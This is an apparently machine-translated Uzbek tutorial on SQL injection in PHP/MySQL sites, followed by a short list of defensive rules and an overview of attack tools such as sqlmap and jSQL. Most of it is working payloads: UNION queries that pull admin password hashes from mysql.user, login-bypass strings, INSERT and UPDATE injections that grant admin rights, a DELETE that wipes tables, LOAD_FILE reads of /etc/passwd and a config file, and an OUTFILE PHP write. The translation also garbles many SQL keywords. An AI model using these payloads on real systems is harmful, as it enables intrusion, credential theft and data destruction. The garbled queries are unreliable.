Sql in'ektsiyasi. Bu nima? MySQL versiyalarini qanday topish mumkin

Ehtiyotsizlik va e'tiborsizlik SQL in'ektsiyalari uchun zaif bo'lgan kod yozishning ikkita sababidir. Uchinchi sabab - jaholat, dasturchini bilimini chuqurlashtirishga yoki hatto kasbini o'zgartirishga undashi kerak.

SQL in'ektsiyasi ( SQL in'ektsiyasi) - zaiflik ma'lumotlarni tekshirish va qayta ishlashning etarli emasligi tufayli yuzaga keladi, ular foydalanuvchidan uzatiladi va SQL dastur kodi tomonidan kutilmagan so'rovlarni o'zgartirish va bajarishga imkon beradi.

SQL in'ektsiyasi Internetda keng tarqalgan xavfsizlik kamchiligi bo'lib, maxsus dasturlarsiz osonlikcha foydalaniladi va keng texnik bilimlarni talab qilmaydi. Ushbu zaiflikdan foydalanish katta imkoniyatlar eshigini ochadi, masalan:

  • ma'lumotlarni o'g'irlash - 80%;
  • xizmat ko'rsatishdan bosh tortish - 10 foiz;
  • ma'lumotlarni almashtirish yoki yo'q qilish - 2-3%;
  • boshqa holatlar va niyatlar.

JS va SQL inyeksiyalarining barcha turlari uchun veb-sayt xavfsizligini sinab ko'rish uchun turli xil dasturlar ham mavjud.

Batafsil tushuntirish

Ushbu maqolada men MySQL ma'lumotlar bazasi bilan ishlashda yuzaga keladigan asosiy xavflarni tushuntirishga harakat qilaman. Aniqlik uchun men ko'pgina loyihalar uchun xos bo'lgan oddiy ma'lumotlar bazasi tuzilishiga misol keltiraman:

`yangiliklar` ma`lumotlar bazasini yaratish; `yangiliklar` dan foydalanish; # # yangiliklar jadvali # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `matn` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # ba'zi ma'lumotlarni qo'shing # INSERT `news` SET `id`="1", `title`="birinchi xabar", `sana`="2005-06-25 16:50:20", `matn`=" yangiliklar matni"; INSERT `news` SET `id`="2", `title`="ikkinchi yangilik", `sana`="2005-06-24 12:12:33", `text`="test yangiliklari"; # # foydalanuvchi jadvali # CREATE TABLE `foydalanuvchilar` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `parol` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", ASOSIY KEY (`id`)) TYPE=MyISAM; # # bir nechta foydalanuvchilarni qo'shing, biri administrator huquqlariga ega, ikkinchisi oddiy # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1" " ; INSERT `foydalanuvchilar` SET `id`="2", `login`="foydalanuvchi", `parol`="1111", `admin`="0";

Biz so'rov $_GET["id"] qiymatiga qarab yaratilganligini ko'ramiz. Zaiflikning mavjudligini tekshirish uchun uni SQL so'rovini bajarishda xatolikka olib kelishi mumkin bo'lgan qiymatga o'zgartirish kifoya.

Albatta, hech qanday xato chiqishi bo'lmasligi mumkin, ammo bu natijada xatolik yo'q degani emas

“Sizda SQL sintaksisida xatolik bor; 1-qatordagi """ yaqinida foydalanish uchun to'g'ri sintaksis uchun MySQL server versiyasiga mos keladigan qo'llanmani tekshiring.

yoki natija

http://test.com/index.php?id=2-1

agar zaiflik mavjud bo'lsa, shunga o'xshash natijani berishi kerak

http://test.com/index.php?id=1.

Shunga o'xshash zaifliklar so'rovni o'zgartirishga imkon beradi WHERE parametr qismida. Bunday zaiflik aniqlanganda tajovuzkor qiladigan birinchi narsa so'rovda qancha maydon ishlatilganligini tekshirishdir. Buning uchun ataylab noto'g'ri id haqiqiy ma'lumotlarning chiqishini istisno qilish uchun o'rnatiladi va bir xil miqdordagi bo'sh maydonlar bilan so'rov bilan birlashtiriladi.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

"null" soni so'rovda ishlatiladigan maydonlar soniga mos kelishi kerak.

Agar so'rov xatoga yo'l qo'ysa, xato yo'qolguncha va bo'sh ma'lumotlarga ega natija qaytarilmaguncha boshqa bo'sh qiymat qo'shiladi. Keyinchalik, birlashtirilgan maydonlar sahifada vizual tarzda kuzatilishi mumkin bo'lgan qiymatlar bilan almashtiriladi.

Masalan:

http://test.com/index.php?id=-1+UNION+SELECT+null

Endi yangiliklar sarlavhasi ko'rsatilishi kerak bo'lgan sahifada qwerty paydo bo'ladi.

MySQL versiyalarini qanday topish mumkin?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Joriy ma'lumotlar bazasi foydalanuvchisining loginini qanday olish mumkin?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Amaldagi ma'lumotlar bazasi qanday nomlanadi?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Boshqa jadvallardan boshqa ma'lumotlarni qanday olish mumkin?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Bu administrator paroli yoki parol xeshini aniqlashning oddiy usuli. Agar joriy foydalanuvchi "mysql" ma'lumotlar bazasiga kirish huquqiga ega bo'lsa, tajovuzkor eng kichik muammosiz administrator paroli xeshini oladi.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Endi uning tanlovi vaqt masalasidir.

Qidirmoq

Qidiruv eng zaif joylardan biri hisoblanadi, chunki ko'p sonli so'rovlar bir vaqtning o'zida uzatiladi. Kalit so'z bo'yicha qidiradigan oddiy so'rovga misol:

* "Yangiliklar" dan "sarlavha" NI "%$search%" YOKI "matn" YOKI "%$search%" NI TANlang

$search - bu shakldan yuboriladigan so'z. Buzg'unchi o'zgaruvchida $search="# dan o'tishi mumkin, endi so'rov quyidagicha ko'rinadi:

* `yangiliklar` QERIDAN `sarlavha` «%»#%» YOKI `matn` kabi «%»#%» NI TANLANING;

Shunga ko'ra, kalit so'z uchun qidiruv natijalari o'rniga barcha ma'lumotlar ko'rsatiladi. Bu, shuningdek, yuqorida tavsiflangan so'rovlarni birlashtirish xususiyatidan foydalanish imkonini beradi.

ORDER parametridan foydalanish

Siz ko'pincha qidiruv parametrlarini kiritishda yoki ma'lumotni ko'rsatishda foydalanuvchiga ma'lum maydonlar bo'yicha ma'lumotlarni saralash imkonini berishini ko'rishingiz mumkin. Men darhol aytamanki, ushbu zaiflikdan foydalanish unchalik xavfli emas, chunki so'rovlarni birlashtirishga urinishda xatolik yuzaga keladi, ammo boshqa sohalardagi zaifliklar bilan birgalikda ushbu parametrni izohlash xavfi mavjud.

http://test.com/index.php?sort=name

ORDER parametri $sort o'zgaruvchisiga qarab hosil bo'ladi

Quyidagi so'rov yaratiladi:

* `Yangiliklar` QERIDAN `sarlavha` YOKI "%"/*%" YOKI `matn` kabi "%"/*%" NI BUYURTISH */

shu bilan shartlardan birini va ORDER parametrini izohlab beradi

Endi siz so'rovni $sort=*/ UNION SELECT ni belgilash orqali yana birlashtirishingiz mumkin...

Ushbu parametrning zaifligidan foydalanish varianti sifatida:

* FROM `foydalanuvchilar` UZUNLIK BO'YICHA TARTIBINI TANLASH(parol);

Bu parol uzunligiga qarab foydalanuvchilarni saralash imkonini beradi, agar u "sof" shaklda saqlangan bo'lsa.

Ruxsat

Keling, foydalanuvchi avtorizatsiyasi paytida yuzaga keladigan SQL in'ektsiyalari variantlarini ko'rib chiqishga harakat qilaylik. Odatda, avtorizatsiya ma'lumotlarining to'g'riligini tekshiradigan so'rov quyidagicha ko'rinadi:

* FROM `foydalanuvchilar` QERDAN `login`="$login" VA `parol`="$parol" NI TANlang;

bu erda $login va $password - bu shakldan uzatiladigan o'zgaruvchilar. Bunday so'rov muvaffaqiyatli bo'lsa, foydalanuvchi uchun ma'lumotlarni, muvaffaqiyatsiz bo'lsa, bo'sh natijani qaytaradi. Shunga ko'ra, avtorizatsiyadan o'tish uchun tajovuzkor so'rovni nolga teng bo'lmagan natijani qaytaradigan tarzda o'zgartirishi kerak. Haqiqiy foydalanuvchiga mos keladigan login ko'rsatilgan va parol o'rniga " YOKI "1"="1" yoki ba'zi haqiqiy shart (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 1 VA 3 ORASI). Shunga ko'ra, so'rov quyidagicha shakllantiriladi:

* `foydalanuvchilar` QERDAN `login`="admin" VA `parol`="" YOKI "1"="1" NI TANGLASH;

natijani qaytaradi va buning natijasida ruxsatsiz avtorizatsiyaga olib keladi. Jadvaldagi parollar xeshlangan bo'lsa-chi? Keyin parolni tekshirish oddiygina "o'chirilgan" bo'lib, "login" dan keyin keladigan hamma narsani izohlaydi. Shaklda login o'rniga haqiqiy foydalanuvchining logini tayinlanadi va "# shu bilan parolni tekshirishga izoh beradi.

* `Foydalanuvchilar` QERDAN `login`="admin"#" VA `parol`="12345" ni tanlang.

variant sifatida "OR `id`=2#

`login`="" YOKI `id`=2#" VA `parol`="12345" ni `foydalanuvchilar` dan * ni tanlang.

`login`="" YOKI `admin`="1"#" VA `parol`="12345" ni `foydalanuvchilar` dan * ni tanlang.

Katta xato - parolni quyidagi tarzda tekshirish:

* "Foydalanuvchilar" QAYERDAN "login"="$login" VA "parol" NI "$password" kabi TANGLANING

chunki bu holda parol % har qanday login uchun mos keladi

KIRISH VA YANGILASH

Biroq, SQL-ning zaif nuqtasi nafaqat SELECTs. INSERT va UPDATE ham zaif bo'lishi mumkin emas. Aytaylik, sayt foydalanuvchilarni ro'yxatdan o'tkazish imkoniyatiga ega. Yangi foydalanuvchi qo'shadigan so'rov:

Maydonlardan biridagi zaiflik so'rovni kerakli ma'lumotlar bilan o'zgartirish imkonini beradi. Kirish maydoniga foydalanuvchi qo'shamiz, "parol", 1)# shu bilan administrator huquqlariga ega foydalanuvchi qo'shamiz.

INSERT `foydalanuvchilar` SET `login`="foydalanuvchi", `parol`="parol", `admin`="0";

Faraz qilaylik, “admin” maydoni “login” maydonidan oldin joylashgan, shuning uchun “login” maydonidan keyin keladigan ma’lumotlarni almashtirish hiylasi ishlamaydi. Eslatib o'tamiz, INSERT buyrug'ining sintaksisi sizga faqat bitta qatorni emas, balki bir nechta qatorlarni qo'shish imkonini beradi. Kirish maydonidagi zaiflikka misol: $login= user”, “password”), (1, “hacker”, “password”)#

INSERT INTO `foydalanuvchilar` SET (`admin`, `login`, `parol`) VALUES (0, “foydalanuvchi”, “parol”), (1, “xaker”, “parol”)#”, “parol”) ;

Shu tarzda 2 ta yozuv yaratiladi, ulardan biri oddiy foydalanuvchi huquqlariga, ikkinchisi esa kerakli administrator huquqlariga ega.

UPDATE bilan o'xshash holat

O'zgartirish uchun qo'shimcha maydonlarni qo'shish:

$login=", `parol`="", `admin`="1

Keyin shunga o'xshash so'rov

YANGILASH `foydalanuvchilar` SET `login`="choynak" QERDA `id`=2;

Quyidagicha tahrirlangan:

YANGILASH `foydalanuvchilar` SET `login`="", `parol`="", `admin`="1" QERDA `id`=2;

Nima bo'ladi? ID 2 bo'lgan foydalanuvchi login va parolni bo'sh qiymatlarga o'zgartiradi va administrator huquqlarini oladi. Yoki har holda

$login=", `parol`="" WHERE `id` =1#

Admin login va parol bo'sh bo'ladi.

OʻCHIRISH

Bu erda hamma narsa oddiy, siz hech qanday ma'lumotni ololmaysiz yoki o'zgartira olmaysiz, lekin keraksiz ma'lumotlarni o'chirib tashlashingiz mumkin.

$id=1 YOKI 1=1

`yangiliklardan` O`CHIRISH QERDA `id`="1" YOKI 1=1; // jadvaldagi barcha yozuvlarni tozalaydi.

1=1 o'rniga yuqorida aytib o'tilgan har qanday haqiqiy shart bo'lishi mumkin. LIMIT parametri saqlanishi mumkin, bu o'chirilgan qatorlar sonini cheklaydi, lekin har doim ham emas, uni shunchaki izohlash mumkin.

`yangiliklardan` O`CHIRISH QERDA `id`="1" YOKI 1=1# LIMIT 1;

SQL in'ektsiyasi orqali fayllar bilan ishlash

Men bu har qanday joyda sodir bo'lishi mumkinligiga jiddiy shubha qilaman, ammo adolatli bo'lish uchun bunday usullarni ham ta'riflash kerak. Fayl imtiyozlari yoqilganda, siz LOAD_FILE va OUTFILE buyruqlaridan foydalanishingiz mumkin.

Ularning xavfini quyidagi so'rovlar asosida baholash mumkin:

SELECT * FROM `news` WHERE `id`=-1 union tanlang null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"), null, null;

Ammo barcha muammolar hali tugamaydi.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` "/home/test/www/test.php" tashqi fayliga;

PHP kodini o'z ichiga olgan faylni shunday yozamiz. To'g'ri, koddan tashqari, unda yana bir nechta null yozuvlar bo'ladi, ammo bu hech qanday tarzda PHP kodining ishlashiga ta'sir qilmaydi. Biroq, bu usullar ishlashi uchun bir nechta shartlar mavjud:

  • FILE imtiyozi joriy maʼlumotlar bazasi foydalanuvchisi uchun yoqilgan;
  • Ushbu fayllarni o'qish yoki yozish huquqlari MySQL serveri ishlayotgan foydalanuvchi uchun, faylga mutlaq yo'l;
  • kamroq muhim shart - fayl hajmi max_allowed_packet dan kichik bo'lishi kerak, lekin MySQL 3.23 da eng katta paket hajmi 16 MB bo'lishi mumkin, va 4.0.1 va undan ko'p paketlar hajmi faqat mavjud xotira miqdori bilan cheklangan, nazariy maksimal 2 GB gacha bu holat odatda har doim mavjud.

Sehrli iqtiboslar

Sehrli tirnoq satr o'zgaruvchilarida SQL in'ektsiyasidan foydalanishni imkonsiz qiladi, chunki ular $_GET va $_POST bilan birga kelgan barcha " va " lardan avtomatik ravishda qochib ketadi. Ammo bu butun son yoki kasr parametrlarida zaifliklardan foydalanishga taalluqli emas, garchi undan foydalanish mumkin bo'lmasa ham, ". Bu holda, char funktsiyasi yordam beradi.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

SQL in'ektsiyasi orqali DOS.

Men aytishni deyarli unutdim va SQL mutaxassislari UNION operatsiyasi faqat MySQL >=4.0.0 da mumkin ekanligini tasdiqlashadi. Oldingi versiyalarda loyihalarga ega bo'lgan odamlar engil nafas olishdi :) Lekin hamma narsa birinchi qarashda ko'rinadigan darajada xavfsiz emas. Hujumchining mantig'iga amal qilish ba'zan qiyin. "Agar men xakerlik qila olmasam, hech bo'lmaganda muvaffaqiyatsiz bo'laman", deb o'ylaydi xaker, misol so'rovi uchun BENCHMARK funksiyasini kiritib.

* `yangiliklardan` TANGLANING QERDA `id`=BENCHMARK(1000000,MD5(HOZIR()));

Menga 12 dan 15 soniyagacha vaqt ketdi. Nolni qo'shish - 174 soniya. Men ko'proq qilish uchun qo'limni ko'tarolmadim. Albatta, kuchli serverlarda bunday ishlar ancha tez amalga oshiriladi, lekin...BENCHMARK sizga birma-bir sarmoya kiritish imkonini beradi. Mana bunday:

* FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(HOZIR())));

Yoki hatto shunga o'xshash

* FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(HOZIR()))));

Va nollarning soni faqat ularni yozgan odamning "mehribonligi" bilan cheklangan.

O'ylaymanki, hatto JUDA kuchli mashina ham bunday so'rovlarni osonlikcha yuta olmaydi.

Pastki chiziq

Ana xolos. Ushbu maqolada men dasturchilar MySQL ma'lumotlar bazalaridan foydalangan holda dasturlar yaratishda yuzaga keladigan zaiflik turlarini imkon qadar ko'proq yoritishga harakat qildim. Biroq, bu to'liq ro'yxat emasligiga ishonchim komil.

SQL in'ektsiyalariga qarshi qoidalarni eslab qolish muhimdir

  • Foydalanuvchidan kelgan HAR QANDAY ma'lumotlarga ishonmang. Biz faqat $_GET va $_POST massivlarida uzatiladigan ma'lumotlar haqida gapirmayapmiz. $_COOKIE va HTTP sarlavhalarining boshqa qismlari haqida unutmang. Shuni esda tutish kerakki, ularni almashtirish oson.
  • Siz PHP "sehrli tirnoq" variantiga tayanmasligingiz kerak, bu yordam berganidan ko'ra ko'proq xalaqit beradi. Ma'lumotlar bazasiga uzatiladigan barcha ma'lumotlar ma'lumotlar bazasi maydonlari bilan turlari bo'yicha umumlashtirilishi kerak. ($id=(int)$_GET["id"]) yoki mysql_real_escape_string yoki mysql_real_escape_string funksiyalari bilan himoyalangan.
  • mysql_real_escape_string % va _ dan qochmaydi, shuning uchun uni LIKE bilan birgalikda ishlatmaslik kerak.
  • To'g'ri yozilgan mod_rewrite ga ham ko'p ishonmasligingiz kerak. Bular faqat "qulay" URL-manzillarni yaratish usullari, lekin, albatta, SQL in'ektsiyasidan himoyalanish usuli emas.
  • Xato haqida xabar berishni o'chirib qo'ying.
  • Yomon mehmonlarga yordam bermang. Xato aniqlansa ham, bu haqdagi ma'lumotlarning yo'qligi uning qo'llanilishiga jiddiy to'sqinlik qiladi. Rivojlanish bosqichi va ishchi qoralama o'rtasidagi farqni eslang. Xato chiqishi va boshqa batafsil ma'lumotlar - rivojlanish bosqichidagi ittifoqdoshingiz va hujumchining ittifoqchisi ishlaydigan versiyada. Bundan tashqari, HTML kodida izoh berish orqali ularni yashirmasligingiz kerak; har 1000 ta tashrif buyuruvchiga 1 kishi shunday narsalarni topa oladi.
  • Xatolarni hal qilish.
  • SQL so'rovlarini qayta ishlashni shunday yozingki, ular haqidagi ma'lumotlar ba'zi jurnallarda saqlanadi yoki pochta orqali yuboriladi.
  • Ma'lumotlar bazasiga kirish ma'lumotlarini PHP tomonidan kod sifatida qayta ishlanmagan fayllarda saqlamang.
  • Men Amerikani hech kimga kashf qildim deb o'ylamayman, lekin o'z tajribamdan shuni aytishim mumkinki, bu amaliyot juda keng tarqalgan. Odatda bu *.inc kengaytmali fayl
  • "Super foydalanuvchi" ma'lumotlar bazasini yaratmang.
  • Faqat muayyan vazifalarni bajarish uchun zarur bo'lgan huquqlarni bering.
  • Qidiruvda so'rov parametrlari bo'lgan belgilarning minimal va maksimal sonini cheklashga arziydi.
  • Halol foydalanuvchi uchun ularning qidiruv qiziqishlarini qondirish uchun 3 dan 60-70 gacha belgilar kifoya qiladi va shu bilan birga siz qidiruv so'rovi "Urush va Tinchlik" hajmi bo'ladigan vaziyatlarning oldini olasiz.
  • Har doim so'rovdan keyin qaytarilgan yozuvlar sonini tekshiring

Saytlarning deyarli 90% PHP da yozilgan Bunday mantiqiy xatolik bor, bu ayniqsa foydalanuvchidan olingan identifikator asosida so‘rov qilinganda kuzatilishi mumkin.Agar siz skriptga mavjud bo‘lmagan identifikatorni qo‘lda bersangiz, biz ba’zi skriptlar ishidan ancha qiziqarli natijalarni ko‘ramiz. , 404 ni qaytarish o'rniga, dastur eng yaxshi holatda hech narsa qilmaydi va bo'sh sahifaga ko'rsatiladi.

Siz uchun xavfsiz SQL.

Internetdagi saytlar va sahifalar soni barqaror o'sib bormoqda. Qo'lidan kelgan har bir kishi rivojlanishni o'z zimmasiga oladi. Ajam veb-dasturchilar ko'pincha xavfli va eski kodlardan foydalanadilar. Va bu hujumchilar va xakerlar uchun juda ko'p bo'shliqlarni yaratadi. Ular foydalanadigan narsa. Eng klassik zaifliklardan biri bu SQL in'ektsiyasidir.

Bir oz nazariya

Ko'pchilik Internetdagi aksariyat saytlar va xizmatlar ularni saqlash uchun SQL ma'lumotlar bazasidan foydalanishini biladi. Bu ma'lumotlar omborlarini boshqarish va boshqarish imkonini beruvchi tuzilgan so'rovlar tili. Ma'lumotlar bazasini boshqarish tizimlarining turli xil versiyalari mavjud - Oracle, MySQL, Postgre. Nomi va turidan qat'i nazar, ular ma'lumotlar so'rovlarini xuddi shunday ishlatadilar. Bu erda potentsial zaiflik yotadi. Agar ishlab chiquvchi so'rovni to'g'ri va xavfsiz tarzda qayta ishlay olmasa, tajovuzkor bundan foydalanishi va ma'lumotlar bazasiga kirish uchun maxsus taktikalardan foydalanishi va u erdan butun saytni boshqarishi mumkin.

Bunday holatlarning oldini olish uchun siz kodni to'g'ri optimallashtirishingiz va qaysi so'rov qanday tarzda qayta ishlanishini diqqat bilan kuzatib borishingiz kerak.

SQL in'ektsiyalarini tekshirish

Tarmoqda zaifliklar mavjudligini aniqlash uchun juda ko'p tayyor avtomatlashtirilgan dasturiy ta'minot tizimlari mavjud. Ammo siz oddiy tekshirishni qo'lda qilishingiz mumkin. Buning uchun siz izlayotgan saytlardan biriga borib, manzil satrida ma'lumotlar bazasi xatosini ishga tushirishga harakat qilishingiz kerak. Misol uchun, veb-saytdagi skript so'rovlarni qayta ishlamasligi va ularni kesib tashlamasligi mumkin.

Misol uchun, ma'lum bir_site/index.php?id=25 mavjud

Eng oson yo'li - 25 dan keyin kotirovka qo'yish va so'rov yuborish. Hech qanday xato bo'lmasa, barcha so'rovlar saytda filtrlanadi va to'g'ri qayta ishlanadi yoki sozlamalarda ularning chiqishi o'chirib qo'yiladi. Agar sahifa muammolar bilan qayta yuklangan bo'lsa, bu SQL in'ektsiyasi uchun zaiflik mavjudligini anglatadi.

U aniqlangandan so'ng, siz undan xalos bo'lishga harakat qilishingiz mumkin.

Ushbu zaiflikni amalga oshirish uchun siz haqida ozgina bilishingiz kerak Ulardan biri UNION. U bir nechta so'rov natijalarini birlashtiradi. Shunday qilib, jadvaldagi maydonlar sonini hisoblashingiz mumkin. Birinchi so'rovning namunasi quyidagicha ko'rinadi:

  • some_site/index.php?id=25 UNION SELECT 1.

Ko'pgina hollarda, bunday yozuv xatoga olib kelishi kerak. Bu maydonlar soni 1 ga teng emasligini bildiradi. Shunday qilib, 1 va undan ortiq variantlarni tanlash orqali ularning aniq sonini belgilashingiz mumkin:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Ya'ni, xato paydo bo'lishni to'xtatganda, bu maydonlar soni to'g'ri ekanligini anglatadi.

Bu muammoning muqobil yechimi ham mavjud. Masalan, maydonlar soni katta bo'lganda - 30, 60 yoki 100. Bu GROUP BY buyrug'i. U so'rov natijalarini ba'zi xususiyatlar bo'yicha guruhlaydi, masalan, id:

  • some_site/index.php?id=25 5 GA GURUH.

Hech qanday xato olinmagan bo'lsa, bu 5 dan ortiq maydon mavjudligini anglatadi.Shunday qilib, juda keng diapazondagi variantlarni almashtirib, ular qancha ekanligini hisoblashingiz mumkin.

Ushbu SQL in'ektsiyasi misoli o'z veb-saytini sinab ko'rishni xohlaydigan yangi boshlanuvchilar uchundir. Birovning mulkiga ruxsatsiz kirish uchun Jinoyat kodeksining moddasi mavjudligini yodda tutish kerak.

Inyeksiyaning asosiy turlari

SQL in'ektsiyasi orqali zaifliklarni amalga oshirishning bir nechta variantlari mavjud. Quyidagi usullar eng mashhur:

    UNION in'ektsiyasi. Ushbu turdagi oddiy misol allaqachon yuqorida muhokama qilingan. U hech qanday tarzda filtrlanmagan kiruvchi ma'lumotlarni tekshirishda xatolik tufayli amalga oshiriladi.

    Xatoga asoslangan SQL in'ektsiyasi. Nomidan ko'rinib turibdiki, bu tur sintaktik jihatdan noto'g'ri ifodalarni yuborish orqali xatolardan ham foydalanadi. Keyin javob sarlavhalari ushlanib, tahlil qilinadi, keyinchalik ular SQL in'ektsiyasini amalga oshirish uchun ishlatilishi mumkin.

    Yig'ilgan in'ektsiya. Ushbu zaiflik ketma-ket so'rovlarning bajarilishi bilan aniqlanadi. U oxirida ";" qo'shilishi bilan tavsiflanadi. Ushbu yondashuv ko'pincha ma'lumotlarni o'qish va yozishni amalga oshirishga kirish yoki agar imtiyozlar ruxsat bersa, operatsion tizim funktsiyalarini boshqarish uchun amalga oshiriladi.

SQL zaifliklarini qidirish uchun dasturiy ta'minot tizimlari

SQL in'ektsiyalarini amalga oshirish uchun mavjud bo'lgan dasturlar odatda ikkita komponentga ega - saytni mumkin bo'lgan zaifliklar uchun skanerlash va ma'lumotlarga kirish uchun ulardan foydalanish. Deyarli barcha ma'lum platformalar uchun bunday yordamchi dasturlar mavjud. Ularning funksionalligi saytni SQL in'ektsiyasi bilan xakerlik qilish imkoniyatini tekshirishni sezilarli darajada osonlashtiradi.

Sqlmap

Eng mashhur DBMSlar bilan ishlaydigan juda kuchli skaner. Turli xil SQL in'ektsiya usullarini qo'llab-quvvatlaydi. U parol xesh turini avtomatik ravishda tanib olish va lug'at yordamida uni buzish imkoniyatiga ega. Serverdan fayllarni yuklab olish va yuklash funksiyasi ham mavjud.

Linux muhitida o'rnatish quyidagi buyruqlar yordamida amalga oshiriladi:

  • git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py - sehrgar.

Windows uchun ham buyruq qatori, ham grafik foydalanuvchi interfeysi opsiyasi mavjud.

jSQL in'ektsiyasi

jSQL Injection - bu SQL zaifliklaridan foydalanishni sinab ko'rish uchun platformalararo vosita. Java-da yozilgan, shuning uchun JRE tizimga o'rnatilishi kerak. Sarlavha va cookie so'rovlarini qayta ishlashga qodir. Qulay grafik interfeysga ega.

Ushbu dasturiy paketni o'rnatish quyidagicha davom etadi:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| bosh-n 1`

Java -jar ./jsql-injection-v*.jar buyrug'i yordamida ishga tushiring

Saytda SQL zaifliklarini tekshirishni boshlash uchun siz uning manzilini yuqori maydonga kiritishingiz kerak. Ular GET va POST uchun alohida. Natija ijobiy bo'lsa, chap oynada mavjud jadvallar ro'yxati paydo bo'ladi. Siz ularni ko'rishingiz va ba'zi maxfiy ma'lumotlarni topishingiz mumkin.

Ma'muriy panellarni qidirish uchun "Administrator sahifasi" yorlig'idan foydalaning. U maxsus shablonlardan foydalangan holda imtiyozli foydalanuvchilarning tizim yozuvlarini avtomatik ravishda qidiradi. Ulardan faqat parol xeshini olishingiz mumkin. Ammo u dastur vositalarida ham mavjud.

Barcha zaifliklarni topib, kerakli so'rovlarni kiritganingizdan so'ng, yordamchi dastur sizning faylingizni serverga yuklash yoki aksincha, u yerdan yuklab olish imkonini beradi.

SQLi Dumper v.7

Ushbu dastur SQL-da zaifliklarni topish va amalga oshirish uchun ishlatish uchun qulay vositadir. Birlashgan Millatlar Tashkiloti buni dorklar deb ataladigan narsalar asosida ishlab chiqaradi. Ularning ro'yxatini Internetda topish mumkin. SQL injection kalit so'zlari maxsus qidiruv so'rovlari naqshlari. Ularning yordami bilan siz ularni har qanday qidiruv tizimi orqali topishingiz mumkin.

Trening vositalari

Itecgames.com saytida SQL in'ektsiyasini qanday qilish va uni sinab ko'rishni ko'rsatish uchun misollardan foydalanish imkonini beruvchi maxsus vositalar to'plami mavjud. Uni ishlatish uchun siz uni yuklab olishingiz va o'rnatishingiz kerak. Arxivda sayt tuzilishini ifodalovchi fayllar to'plami mavjud. Uni o'rnatish uchun sizga tizimda mavjud bo'lgan Apache, MySQL va PHP veb-serverlari to'plami kerak bo'ladi.

Arxivni veb-server papkasiga ochganingizdan so'ng, ushbu dasturiy mahsulotni o'rnatishda kiritilgan manzilga o'tishingiz kerak. Foydalanuvchi ro'yxatdan o'tish sahifasi ochiladi. Bu erda siz ma'lumotlaringizni kiritishingiz va "Yaratish" tugmasini bosishingiz kerak. Foydalanuvchini yangi oynaga o'tkazgandan so'ng, tizim sinov variantlaridan birini tanlashni taklif qiladi. Ular orasida tasvirlangan in'ektsiya va boshqa ko'plab test topshiriqlari mavjud.

GET/Search kabi SQL in'ektsiyasi misolini ko'rib chiqishga arziydi. Bu erda siz uni tanlashingiz va "Hack" tugmasini bosishingiz kerak. Foydalanuvchiga qidiruv paneli va filmlar bilan ma'lum bir saytning taqlidi taqdim etiladi. Siz filmlarni uzoq vaqt davomida tomosha qilishingiz mumkin. Ammo ularning atigi 10 tasi bor.Masalan, siz Temir odamga kirishga harakat qilishingiz mumkin. Film ko'rsatiladi, ya'ni sayt ishlayapti va unda jadvallar mavjud. Endi biz skript maxsus belgilarni, xususan tirnoqni filtrlaydimi yoki yo'qligini tekshirishimiz kerak. Buning uchun manzil satriga "" qo'shishingiz kerak. Bundan tashqari, bu film nomidan keyin bajarilishi kerak. Sayt xatolikni ko'rsatadi Xato: SQL sintaksisida xatolik bor; mos keladigan qo'llanmani tekshiring. 1-qatordagi "%" yaqinida foydalanish uchun to'g'ri sintaksis uchun MySQL server versiyasiga o'ting, bu belgilar hali ham noto'g'ri ishlanganligini ko'rsatadi. Bu sizning so'rovingizni almashtirishga harakat qilishingiz mumkinligini anglatadi. Lekin birinchi navbatda maydonlar sonini hisoblashingiz kerak. Buni amalga oshirish uchun kotirovkadan keyin kiritilgan order by dan foydalaning: http://testsites.com/sqli_1.php?title=Iron+Man" 2 --&action=search bo'yicha tartib.

Bu buyruq shunchaki kino haqidagi ma'lumotni ko'rsatadi, ya'ni maydonlar soni 2 dan ortiq. Ikki chiziqcha serverga boshqa so'rovlarni bekor qilish kerakligini aytadi. Endi xato paydo bo'lguncha tobora kattaroq qiymatlarni almashtirib, takrorlashingiz kerak. Natijada, 7 ta maydon bo'ladi.

Endi ma'lumotlar bazasidan foydali narsalarni olish vaqti keldi. So'rovni manzil satrida biroz o'zgartirishingiz kerak bo'ladi, uni quyidagi shaklga keltiring: http://testsites.com/sqli_1.php?title=Iron+Man" union 1, ma'lumotlar bazasi(),user(),4 ,parol,6,7 foydalanuvchilardan --&action=search.Uning bajarilishi natijasida parol xeshlari bo‘lgan qatorlar ko‘rsatiladi, ularni onlayn xizmatlardan biri yordamida osonlik bilan tushunarli belgilarga aylantirish mumkin.Va bir oz sehr bilan va kirish maydonining nomini tanlab, siz boshqa birovning yozuviga kirishingiz mumkin, masalan, sayt administratori.

